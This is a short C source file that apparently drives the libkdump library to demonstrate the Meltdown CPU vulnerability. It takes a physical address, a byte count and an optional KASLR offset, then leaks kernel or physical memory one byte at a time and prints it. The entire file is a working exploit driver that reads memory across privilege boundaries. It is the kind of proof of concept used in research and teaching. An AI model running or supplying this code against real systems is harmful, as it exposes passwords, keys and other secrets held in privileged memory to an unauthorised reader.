meltdown_example.c

#include "libkdump.h"
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv) {
	// initialize libkdump

	//Configure libkdump
	libkdump_config_t config;
	//get default config
	config = libkdump_get_autoconfig();
	// if kaslr offset is passed as an argument
	if (argc > 3) {
		//set physical offset to the given address
		config.physical_offset = strtoull(argv[3], NULL, 0);
	}

	//initialize libkdump with this config
	if(libkdump_init(config) != 0) {
		return -1;
	}

	//get number of bytes to read from the first arg
	int i = atoi(argv[1]);

	//get target physical address from the second arg
	size_t phys_addr = strtoull(argv[2], NULL, 0);
	//This physical address needs to be converted to the corresponding virtual address in this program's VA space
	size_t vaddr = libkdump_phys_to_virt(phys_addr);

	unsigned char buf;
	//loop to read n bytes
	for(int j=0;j<i;j++)
	{
		//function call to libkdump to set up instrument and read from address
		int value = libkdump_read(vaddr);
		//typecast to byte
		buf = (char)value;
		printf("%08llx: %02x %c\n", (unsigned long long)phys_addr, buf, buf);
		fflush(stdout);
//		if(buf == 0x00)
//			break;
		//seek to next byte
		vaddr+=1;

	}

	// clean up spawned threads and signal handlers
	if(libkdump_cleanup() != 0)
	{
		return -1;
	}

	return 0;
}